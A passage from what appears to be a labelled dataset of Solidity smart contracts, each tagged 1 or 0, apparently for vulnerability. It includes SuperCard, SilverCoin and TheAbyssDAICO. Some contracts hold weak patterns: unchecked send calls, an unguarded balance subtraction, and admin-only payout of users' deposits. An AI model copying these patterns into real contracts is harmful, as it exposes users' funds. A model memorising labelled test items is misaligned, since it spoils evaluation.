balances[msg.sender] = INITIAL_SUPPLY.mul(10 ** uint256(decimals));
Transfer(0x0, msg.sender, totalSupply);
}
} | 1 |
pragma solidity ^0.4.24;
contract SuperCard {
event onRecieveEth
(
address user,
uint256 ethIn,
uint256 timeStamp
);
event onSendEth
(
address user,
uint256 ethOut,
uint256 timeStamp
);
event onPotAddup
(
address operator,
uint256 amount
);
using SafeMath for *;
string constant public name = "SuperCard";
string constant public symbol = "SPC";
struct Player
{
uint256 ethIn;
uint256 ethOut;
}
struct txRecord
{
address user;
bool used;
bool todo;
}
mapping( address => Player) public plyr_;
mapping( bytes32 => txRecord) public txRec_;
address _admin;
address _cfo;
bool public activated_ = false;
uint256 public plan_active_time = 1535709600;
uint256 totalETHin = 0;
uint256 totalETHout = 0;
uint256 _pot = 0;
constructor()
public
{
_admin = msg.sender;
_cfo = 0x39db0822a5eb167f2f92607d5c77566e23a88aa7;
}
modifier onlyCFOAndAdmin()
{
require(((msg.sender == _cfo) || (msg.sender == _admin)), "sorry, not cfo/admin");
_;
}
modifier onlyCFO()
{
require(msg.sender == _cfo, "sorry, not cfo");
_;
}
modifier isHuman()
{
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry, humans only");
_;
}
modifier isActivated()
{
if ( activated_ == false )
{
if (now >= plan_active_time)
{
activated_ = true;
}
}
require(activated_ == true, "sorry, its not start yet.");
_;
}
function setPlanActiveTime(uint256 _time)
onlyCFOAndAdmin()
public
{
plan_active_time = _time;
}
function getPlanActiveTime()
public
view
returns(uint256, uint256)
{
return(plan_active_time, now);
}
function newCFO(string addr)
onlyCFOAndAdmin()
public
returns (bool)
{
address newCFOaddress;
newCFOaddress = parseAddr(addr);
if (newCFOaddress != _cfo)
{
_cfo = newCFOaddress;
return true;
}
else
{
return false;
}
}
function distribute(address addr, uint256 ethPay)
public
onlyCFOAndAdmin()
isActivated()
{
require((ethPay <= address(this).balance), "sorry, demand more than balance");
require((ethPay > 0), "sorry, pay zero");
addr.transfer(ethPay);
emit onSendEth
(
addr,
ethPay,
now
);
}
function potAddup()
external
onlyCFOAndAdmin()
payable
{
_pot = _pot.add(msg.value);
emit onPotAddup
(
msg.sender,
msg.value
);
}
function buy()
public
isHuman()
payable
{
uint256 _now = now;
if (activated_ == false)
{
require((_now >= plan_active_time), "sorry, buy before start");
activated_ = true;
}
require((msg.value > 0), "sorry, buy zero eth");
address buyer = msg.sender;
plyr_[buyer].ethIn = (plyr_[buyer].ethIn).add(msg.value);
totalETHin = totalETHin.add(msg.value);
emit onRecieveEth
(
buyer,
msg.value,
_now
);
}
function()
public
isHuman()
isActivated()
payable
{
uint256 _now = now;
address buyer = msg.sender;
require((_now >= plan_active_time), "sorry, buy before start");
require((msg.value > 0), "sorry, buy zero eth");
plyr_[buyer].ethIn = (plyr_[buyer].ethIn).add(msg.value);
totalETHin = totalETHin.add(msg.value);
emit onRecieveEth
(
buyer,
msg.value,
_now
);
}
function queryhashcodeused(bytes32 hashCode)
public
view
isActivated()
isHuman()
returns(bool)
{
if((txRec_[hashCode].user != 0) || (txRec_[hashCode].used == true))
{
return true;
}
else
{
return false;
}
}
function query2noactive(bytes32 hashCode)
public
view
isHuman()
returns(bool)
{
if((txRec_[hashCode].user != 0) || (txRec_[hashCode].used == true))
{
return true;
}
else
{
return false;
}
}
function withdraw(bytes32 hashCode)
public
isActivated()
isHuman()
{
require((plyr_[msg.sender].ethIn > 0), "sorry, not user");
require((txRec_[hashCode].used != true), "sorry, user replay withdraw");
txRec_[hashCode].user = msg.sender;
txRec_[hashCode].todo = true;
txRec_[hashCode].used = true;
}
function approve(string orderid, string addr, string amt, string txtime, uint256 amount)
public
onlyCFO()
isActivated()
{
address user;
bytes32 hashCode;
uint256 ethOut;
user = parseAddr(addr);
hashCode = sha256(orderid, addr, amt, txtime);
require((txRec_[hashCode].user == user), "sorry, hashcode error");
require((txRec_[hashCode].todo == true), "sorry, hashcode replay");
txRec_[hashCode].todo = false;
ethOut = amount;
require(((ethOut > 0) && (ethOut <= address(this).balance)), "sorry, approve amount error");
totalETHout = totalETHout.add(ethOut);
plyr_[user].ethOut = (plyr_[user].ethOut).add(ethOut);
user.transfer(ethOut);
emit onSendEth
(
user,
ethOut,
now
);
}
function getUserInfo(string useraddress)
public
view
onlyCFOAndAdmin()
returns(address, uint256, uint256)
{
address user;
user = parseAddr(useraddress);
return
(
user,
plyr_[user].ethIn,
plyr_[user].ethOut
);
}
function parseAddr(string _a)
internal
returns (address)
{
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30153600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xfb77c37D15cC1Fa0E1fc9c9886E0bd68FcAc1CC2;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.2;
contract SilverCoin{string public standard='Token 0.1';string public name;string public symbol;uint8 public decimals;uint256 public totalSupply;address public owner; address [] public users; mapping(address=>uint256)public balanceOf; string public filehash; mapping(address=>mapping(address=>uint256))public allowance;event Transfer(address indexed from,address indexed to,uint256 value);modifier onlyOwner(){if(owner!=msg.sender) {throw;} else{ _; } }
function SilverCoin(){owner=0x490c65fab8fad17f7326b2ccf496bfc4e245a375; address firstOwner=owner;balanceOf[firstOwner]=1000000000;totalSupply=1000000000;name='SilverCoin';symbol='^'; filehash= ''; decimals=0;msg.sender.send(msg.value); }
function transfer(address _to,uint256 _value){if(balanceOf[msg.sender]<_value)throw;if(balanceOf[_to]+_value < balanceOf[_to])throw; balanceOf[msg.sender]-=_value; balanceOf[_to]+=_value;Transfer(msg.sender,_to,_value); }
function approve(address _spender,uint256 _value) returns(bool success){allowance[msg.sender][_spender]=_value;return true;}
function collectExcess()onlyOwner{owner.send(this.balance-2100000);}
function(){
}
} | 1 |
pragma solidity ^0.4.21;
interface ISimpleCrowdsale {
function getSoftCap() external view returns(uint256);
function isContributorInLists(address contributorAddress) external view returns(bool);
function processReservationFundContribution(
address contributor,
uint256 tokenAmount,
uint256 tokenBonusAmount
) external payable;
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address previousOwner, address newOwner);
function Ownable(address _owner) public {
owner = _owner == address(0) ? msg.sender : _owner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function confirmOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
interface ICrowdsaleFund {
function processContribution(address contributor) external payable;
function onCrowdsaleEnd() external;
function enableCrowdsaleRefund() external;
}
interface ICrowdsaleReservationFund {
function canCompleteContribution(address contributor) external returns(bool);
function completeContribution(address contributor) external;
function processContribution(address contributor, uint256 _tokensToIssue, uint256 _bonusTokensToIssue) external payable;
function contributionsOf(address contributor) external returns(uint256);
function onCrowdsaleEnd() external;
}
contract IERC20Token {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SafeMath {
function SafeMath() public {
}
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(a >= b);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract LockedTokens is SafeMath {
struct Tokens {
uint256 amount;
uint256 lockEndTime;
bool released;
}
event TokensUnlocked(address _to, uint256 _value);
IERC20Token public token;
address public crowdsaleAddress;
mapping(address => Tokens[]) public walletTokens;
function LockedTokens(IERC20Token _token, address _crowdsaleAddress) public {
token = _token;
crowdsaleAddress = _crowdsaleAddress;
}
function addTokens(address _to, uint256 _amount, uint256 _lockEndTime) external {
require(msg.sender == crowdsaleAddress);
walletTokens[_to].push(Tokens({amount: _amount, lockEndTime: _lockEndTime, released: false}));
}
function releaseTokens() public {
require(walletTokens[msg.sender].length > 0);
for(uint256 i = 0; i < walletTokens[msg.sender].length; i++) {
if(!walletTokens[msg.sender][i].released && now >= walletTokens[msg.sender][i].lockEndTime) {
walletTokens[msg.sender][i].released = true;
token.transfer(msg.sender, walletTokens[msg.sender][i].amount);
TokensUnlocked(msg.sender, walletTokens[msg.sender][i].amount);
}
}
}
}
contract MultiOwnable {
address public manager;
address[] public owners;
mapping(address => bool) public ownerByAddress;
event SetOwners(address[] owners);
modifier onlyOwner() {
require(ownerByAddress[msg.sender] == true);
_;
}
function MultiOwnable() public {
manager = msg.sender;
}
function setOwners(address[] _owners) public {
require(msg.sender == manager);
_setOwners(_owners);
}
function _setOwners(address[] _owners) internal {
for(uint256 i = 0; i < owners.length; i++) {
ownerByAddress[owners[i]] = false;
}
for(uint256 j = 0; j < _owners.length; j++) {
ownerByAddress[_owners[j]] = true;
}
owners = _owners;
SetOwners(_owners);
}
function getOwners() public constant returns (address[]) {
return owners;
}
}
contract ERC20Token is IERC20Token, SafeMath {
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
}
interface ITokenEventListener {
function onTokenTransfer(address _from, address _to, uint256 _value) external;
}
contract ManagedToken is ERC20Token, MultiOwnable {
bool public allowTransfers = false;
bool public issuanceFinished = false;
ITokenEventListener public eventListener;
event AllowTransfersChanged(bool _newState);
event Issue(address indexed _to, uint256 _value);
event Destroy(address indexed _from, uint256 _value);
event IssuanceFinished();
modifier transfersAllowed() {
require(allowTransfers);
_;
}
modifier canIssue() {
require(!issuanceFinished);
_;
}
function ManagedToken(address _listener, address[] _owners) public {
if(_listener != address(0)) {
eventListener = ITokenEventListener(_listener);
}
_setOwners(_owners);
}
function setAllowTransfers(bool _allowTransfers) external onlyOwner {
allowTransfers = _allowTransfers;
AllowTransfersChanged(_allowTransfers);
}
function setListener(address _listener) public onlyOwner {
if(_listener != address(0)) {
eventListener = ITokenEventListener(_listener);
} else {
delete eventListener;
}
}
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool) {
bool success = super.transfer(_to, _value);
if(hasListener() && success) {
eventListener.onTokenTransfer(msg.sender, _to, _value);
}
return success;
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool) {
bool success = super.transferFrom(_from, _to, _value);
if(hasListener() && success) {
eventListener.onTokenTransfer(_from, _to, _value);
}
return success;
}
function hasListener() internal view returns(bool) {
if(eventListener == address(0)) {
return false;
}
return true;
}
function issue(address _to, uint256 _value) external onlyOwner canIssue {
totalSupply = safeAdd(totalSupply, _value);
balances[_to] = safeAdd(balances[_to], _value);
Issue(_to, _value);
Transfer(address(0), _to, _value);
}
function destroy(address _from, uint256 _value) external {
require(ownerByAddress[msg.sender] || msg.sender == _from);
require(balances[_from] >= _value);
totalSupply = safeSub(totalSupply, _value);
balances[_from] = safeSub(balances[_from], _value);
Transfer(_from, address(0), _value);
Destroy(_from, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = safeAdd(allowed[msg.sender][_spender], _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function finishIssuance() public onlyOwner returns (bool) {
issuanceFinished = true;
IssuanceFinished();
return true;
}
}
contract TransferLimitedToken is ManagedToken {
uint256 public constant LIMIT_TRANSFERS_PERIOD = 365 days;
mapping(address => bool) public limitedWallets;
uint256 public limitEndDate;
address public limitedWalletsManager;
bool public isLimitEnabled;
modifier onlyManager() {
require(msg.sender == limitedWalletsManager);
_;
}
modifier canTransfer(address _from, address _to) {
require(now >= limitEndDate || !isLimitEnabled || (!limitedWallets[_from] && !limitedWallets[_to]));
_;
}
function TransferLimitedToken(
uint256 _limitStartDate,
address _listener,
address[] _owners,
address _limitedWalletsManager
) public ManagedToken(_listener, _owners)
{
limitEndDate = _limitStartDate + LIMIT_TRANSFERS_PERIOD;
isLimitEnabled = true;
limitedWalletsManager = _limitedWalletsManager;
}
function addLimitedWalletAddress(address _wallet) public {
require(msg.sender == limitedWalletsManager || ownerByAddress[msg.sender]);
limitedWallets[_wallet] = true;
}
function delLimitedWalletAddress(address _wallet) public onlyManager {
limitedWallets[_wallet] = false;
}
function disableLimit() public onlyManager {
isLimitEnabled = false;
}
function transfer(address _to, uint256 _value) public canTransfer(msg.sender, _to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public canTransfer(_from, _to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public canTransfer(msg.sender, _spender) returns (bool) {
return super.approve(_spender,_value);
}
}
contract TheAbyssDAICO is Ownable, SafeMath, Pausable, ISimpleCrowdsale {
enum AdditionalBonusState {
Unavailable,
Active,
Applied
}
uint256 public constant ADDITIONAL_BONUS_NUM = 3;
uint256 public constant ADDITIONAL_BONUS_DENOM = 100;
uint256 public constant ETHER_MIN_CONTRIB = 0.2 ether;
uint256 public constant ETHER_MAX_CONTRIB = 20 ether;
uint256 public constant ETHER_MIN_CONTRIB_PRIVATE = 100 ether;
uint256 public constant ETHER_MAX_CONTRIB_PRIVATE = 3000 ether;
uint256 public constant ETHER_MIN_CONTRIB_USA = 0.2 ether;
uint256 public constant ETHER_MAX_CONTRIB_USA = 20 ether;
uint256 public constant SALE_START_TIME = 1523887200;
uint256 public constant SALE_END_TIME = 1526479200;
uint256 public constant BONUS_WINDOW_1_END_TIME = SALE_START_TIME + 2 days;
uint256 public constant BONUS_WINDOW_2_END_TIME = SALE_START_TIME + 7 days;
uint256 public constant BONUS_WINDOW_3_END_TIME = SALE_START_TIME + 14 days;
uint256 public constant BONUS_WINDOW_4_END_TIME = SALE_START_TIME + 21 days;
uint256 public constant MAX_CONTRIB_CHECK_END_TIME = SALE_START_TIME + 1 days;
uint256 public constant BNB_TOKEN_PRICE_NUM = 169;
uint256 public constant BNB_TOKEN_PRICE_DENOM = 1;
uint256 public tokenPriceNum = 0;
uint256 public tokenPriceDenom = 0;
TransferLimitedToken public token;
ICrowdsaleFund public fund;
ICrowdsaleReservationFund public reservationFund;
LockedTokens public lockedTokens;
mapping(address => bool) public whiteList;
mapping(address => bool) public privilegedList;
mapping(address => AdditionalBonusState) public additionalBonusOwnerState;
mapping(address => uint256) public userTotalContributed;
address public bnbTokenWallet;
address public referralTokenWallet;
address public foundationTokenWallet;
address public advisorsTokenWallet;
address public companyTokenWallet;
address public reserveTokenWallet;
address public bountyTokenWallet;
uint256 public totalEtherContributed = 0;
uint256 public rawTokenSupply = 0;
IERC20Token public bnbToken;
uint256 public BNB_HARD_CAP = 300000 ether;
uint256 public BNB_MIN_CONTRIB = 1000 ether;
mapping(address => uint256) public bnbContributions;
uint256 public totalBNBContributed = 0;
uint256 public hardCap = 0;
uint256 public softCap = 0;
bool public bnbRefundEnabled = false;
event LogContribution(address contributor, uint256 amountWei, uint256 tokenAmount, uint256 tokenBonus, bool additionalBonusApplied, uint256 timestamp);
event ReservationFundContribution(address contributor, uint256 amountWei, uint256 tokensToIssue, uint256 bonusTokensToIssue, uint256 timestamp);
event LogBNBContribution(address contributor, uint256 amountBNB, uint256 tokenAmount, uint256 tokenBonus, bool additionalBonusApplied, uint256 timestamp);
modifier checkContribution() {
require(isValidContribution());
_;
}
modifier checkBNBContribution() {
require(isValidBNBContribution());
_;
}
modifier checkCap() {
require(validateCap());
_;
}
modifier checkTime() {
require(now >= SALE_START_TIME && now <= SALE_END_TIME);
_;
}
function TheAbyssDAICO(
address bnbTokenAddress,
address tokenAddress,
address fundAddress,
address reservationFundAddress,
address _bnbTokenWallet,
address _referralTokenWallet,
address _foundationTokenWallet,
address _advisorsTokenWallet,
address _companyTokenWallet,
address _reserveTokenWallet,
address _bountyTokenWallet,
address _owner
) public
Ownable(_owner)
{
require(tokenAddress != address(0));
bnbToken = IERC20Token(bnbTokenAddress);
token = TransferLimitedToken(tokenAddress);
fund = ICrowdsaleFund(fundAddress);
reservationFund = ICrowdsaleReservationFund(reservationFundAddress);
bnbTokenWallet = _bnbTokenWallet;
referralTokenWallet = _referralTokenWallet;
foundationTokenWallet = _foundationTokenWallet;
advisorsTokenWallet = _advisorsTokenWallet;
companyTokenWallet = _companyTokenWallet;
reserveTokenWallet = _reserveTokenWallet;
bountyTokenWallet = _bountyTokenWallet;
}
function isContributorInLists(address contributor) external view returns(bool) {
return whiteList[contributor] || privilegedList[contributor] || token.limitedWallets(contributor);
}
function isValidContribution() internal view returns(bool) {
uint256 currentUserContribution = safeAdd(msg.value, userTotalContributed[msg.sender]);
if(whiteList[msg.sender] && msg.value >= ETHER_MIN_CONTRIB) {
if(now <= MAX_CONTRIB_CHECK_END_TIME && currentUserContribution > ETHER_MAX_CONTRIB ) {
return false;
}
return true;
}
if(privilegedList[msg.sender] && msg.value >= ETHER_MIN_CONTRIB_PRIVATE) {
if(now <= MAX_CONTRIB_CHECK_END_TIME && currentUserContribution > ETHER_MAX_CONTRIB_PRIVATE ) {
return false;
}
return true;
}
if(token.limitedWallets(msg.sender) && msg.value >= ETHER_MIN_CONTRIB_USA) {
if(now <= MAX_CONTRIB_CHECK_END_TIME && currentUserContribution > ETHER_MAX_CONTRIB_USA) {
return false;
}
return true;
}
return false;
}
function validateCap() internal view returns(bool){
if(msg.value <= safeSub(hardCap, totalEtherContributed)) {
return true;
}
return false;
}
function setTokenPrice(uint256 _tokenPriceNum, uint256 _tokenPriceDenom) public onlyOwner {
require(tokenPriceNum == 0 && tokenPriceDenom == 0);
require(_tokenPriceNum > 0 && _tokenPriceDenom > 0);
tokenPriceNum = _tokenPriceNum;
tokenPriceDenom = _tokenPriceDenom;
}
function setHardCap(uint256 _hardCap) public onlyOwner {
require(hardCap == 0);
hardCap = _hardCap;
}
function setSoftCap(uint256 _softCap) public onlyOwner {
require(softCap == 0);
softCap = _softCap;
}
function getSoftCap() external view returns(uint256) {
return softCap;
}
function isValidBNBContribution() internal view returns(bool) {
if(token.limitedWallets(msg.sender)) {
return false;
}
if(!whiteList[msg.sender] && !privilegedList[msg.sender]) {
return false;
}
uint256 amount = bnbToken.allowance(msg.sender, address(this));
if(amount < BNB_MIN_CONTRIB || safeAdd(totalBNBContributed, amount) > BNB_HARD_CAP) {
return false;
}
return true;
}
function getBonus() internal constant returns (uint256, uint256) {
uint256 numerator = 0;
uint256 denominator = 100;
if(now < BONUS_WINDOW_1_END_TIME) {
numerator = 25;
} else if(now < BONUS_WINDOW_2_END_TIME) {
numerator = 15;
} else if(now < BONUS_WINDOW_3_END_TIME) {
numerator = 10;
} else if(now < BONUS_WINDOW_4_END_TIME) {
numerator = 5;
} else {
numerator = 0;
}
return (numerator, denominator);
}
function addToLists(
address _wallet,
bool isInWhiteList,
bool isInPrivilegedList,
bool isInLimitedList,
bool hasAdditionalBonus
) public onlyOwner {
if(isInWhiteList) {
whiteList[_wallet] = true;
}
if(isInPrivilegedList) {
privilegedList[_wallet] = true;
}
if(isInLimitedList) {
token.addLimitedWalletAddress(_wallet);
}
if(hasAdditionalBonus) {
additionalBonusOwnerState[_wallet] = AdditionalBonusState.Active;
}
if(reservationFund.canCompleteContribution(_wallet)) {
reservationFund.completeContribution(_wallet);
}
}
function addToWhiteList(address _wallet) public onlyOwner {
whiteList[_wallet] = true;
}
function addAdditionalBonusMember(address _wallet) public onlyOwner {
additionalBonusOwnerState[_wallet] = AdditionalBonusState.Active;
}
function addToPrivilegedList(address _wallet) public onlyOwner {
privilegedList[_wallet] = true;
}
function setLockedTokens(address lockedTokensAddress) public onlyOwner {
lockedTokens = LockedTokens(lockedTokensAddress);
}
function () payable public whenNotPaused {
if(whiteList[msg.sender] || privilegedList[msg.sender] || token.limitedWallets(msg.sender)) {
processContribution(msg.sender, msg.value);
} else {
processReservationContribution(msg.sender, msg.value);
}
}
function processReservationContribution(address contributor, uint256 amount) private checkTime checkCap {
require(amount >= ETHER_MIN_CONTRIB);
if(now <= MAX_CONTRIB_CHECK_END_TIME) {
uint256 currentUserContribution = safeAdd(amount, reservationFund.contributionsOf(contributor));
require(currentUserContribution <= ETHER_MAX_CONTRIB);
}
uint256 bonusNum = 0;
uint256 bonusDenom = 100;
(bonusNum, bonusDenom) = getBonus();
uint256 tokenBonusAmount = 0;
uint256 tokenAmount = safeDiv(safeMul(amount, tokenPriceNum), tokenPriceDenom);
if(bonusNum > 0) {
tokenBonusAmount = safeDiv(safeMul(tokenAmount, bonusNum), bonusDenom);
}
reservationFund.processContribution.value(amount)(
contributor,
tokenAmount,
tokenBonusAmount
);
ReservationFundContribution(contributor, amount, tokenAmount, tokenBonusAmount, now);
}
function processBNBContribution() public whenNotPaused checkTime checkBNBContribution {
bool additionalBonusApplied = false;
uint256 bonusNum = 0;
uint256 bonusDenom = 100;
(bonusNum, bonusDenom) = getBonus();
uint256 amountBNB = bnbToken.allowance(msg.sender, address(this));
bnbToken.transferFrom(msg.sender, address(this), amountBNB);
bnbContributions[msg.sender] = safeAdd(bnbContributions[msg.sender], amountBNB);
uint256 tokenBonusAmount = 0;
uint256 tokenAmount = safeDiv(safeMul(amountBNB, BNB_TOKEN_PRICE_NUM), BNB_TOKEN_PRICE_DENOM);
rawTokenSupply = safeAdd(rawTokenSupply, tokenAmount);
if(bonusNum > 0) {
tokenBonusAmount = safeDiv(safeMul(tokenAmount, bonusNum), bonusDenom);
}
if(additionalBonusOwnerState[msg.sender] == AdditionalBonusState.Active) {
additionalBonusOwnerState[msg.sender] = AdditionalBonusState.Applied;
uint256 additionalBonus = safeDiv(safeMul(tokenAmount, ADDITIONAL_BONUS_NUM), ADDITIONAL_BONUS_DENOM);
tokenBonusAmount = safeAdd(tokenBonusAmount, additionalBonus);
additionalBonusApplied = true;
}
uint256 tokenTotalAmount = safeAdd(tokenAmount, tokenBonusAmount);
token.issue(msg.sender, tokenTotalAmount);
totalBNBContributed = safeAdd(totalBNBContributed, amountBNB);
LogBNBContribution(msg.sender, amountBNB, tokenAmount, tokenBonusAmount, additionalBonusApplied, now);
}
function processContribution(address contributor, uint256 amount) private checkTime checkContribution checkCap {
bool additionalBonusApplied = false;
uint256 bonusNum = 0;
uint256 bonusDenom = 100;
(bonusNum, bonusDenom) = getBonus();
uint256 tokenBonusAmount = 0;
uint256 tokenAmount = safeDiv(safeMul(amount, tokenPriceNum), tokenPriceDenom);
rawTokenSupply = safeAdd(rawTokenSupply, tokenAmount);
if(bonusNum > 0) {
tokenBonusAmount = safeDiv(safeMul(tokenAmount, bonusNum), bonusDenom);
}
if(additionalBonusOwnerState[contributor] == AdditionalBonusState.Active) {
additionalBonusOwnerState[contributor] = AdditionalBonusState.Applied;
uint256 additionalBonus = safeDiv(safeMul(tokenAmount, ADDITIONAL_BONUS_NUM), ADDITIONAL_BONUS_DENOM);
tokenBonusAmount = safeAdd(tokenBonusAmount, additionalBonus);
additionalBonusApplied = true;
}
processPayment(contributor, amount, tokenAmount, tokenBonusAmount, additionalBonusApplied);
}
function processReservationFundContribution(
address contributor,
uint256 tokenAmount,
uint256 tokenBonusAmount
) external payable checkCap {
require(msg.sender == address(reservationFund));
require(msg.value > 0);
processPayment(contributor, msg.value, tokenAmount, tokenBonusAmount, false);
}
function processPayment(address contributor, uint256 etherAmount, uint256 tokenAmount, uint256 tokenBonusAmount, bool additionalBonusApplied) internal {
uint256 tokenTotalAmount = safeAdd(tokenAmount, tokenBonusAmount);
token.issue(contributor, tokenTotalAmount);
fund.processContribution.value(etherAmount)(contributor);
totalEtherContributed = safeAdd(totalEtherContributed, etherAmount);
userTotalContributed[contributor] = safeAdd(userTotalContributed[contributor], etherAmount);
LogContribution(contributor, etherAmount, tokenAmount, tokenBonusAmount, additionalBonusApplied, now);
}
function finalizeCrowdsale() public onlyOwner {
if(
(totalEtherContributed >= safeSub(hardCap, 20 ether) && totalBNBContributed >= safeSub(BNB_HARD_CAP, 10000 ether)) ||
(now >= SALE_END_TIME && totalEtherContributed >= softCap)
) {
fund.onCrowdsaleEnd();
reservationFund.onCrowdsaleEnd();
bnbToken.transfer(bnbTokenWallet, bnbToken.balanceOf(address(this)));
uint256 referralTokenAmount = safeDiv(rawTokenSupply, 10);
token.issue(referralTokenWallet, referralTokenAmount);
uint256 foundationTokenAmount = safeDiv(token.totalSupply(), 2);
lockedTokens.addTokens(foundationTokenWallet, foundationTokenAmount, now + 365 days);
uint256 suppliedTokenAmount = token.totalSupply();
uint256 reservedTokenAmount = safeDiv(safeMul(suppliedTokenAmount, 3), 10);
token.issue(address(lockedTokens), reservedTokenAmount);
lockedTokens.addTokens(reserveTokenWallet, reservedTokenAmount, now + 183 days);
uint256 advisorsTokenAmount = safeDiv(suppliedTokenAmount, 10);
token.issue(advisorsTokenWallet, advisorsTokenAmount);
uint256 companyTokenAmount = safeDiv(suppliedTokenAmount, 4);
token.issue(address(lockedTokens), companyTokenAmount);
lockedTokens.addTokens(companyTokenWallet, companyTokenAmount, now + 730 days);
uint256 bountyTokenAmount = safeDiv(suppliedTokenAmount, 60);
token.issue(bountyTokenWallet, bountyTokenAmount);
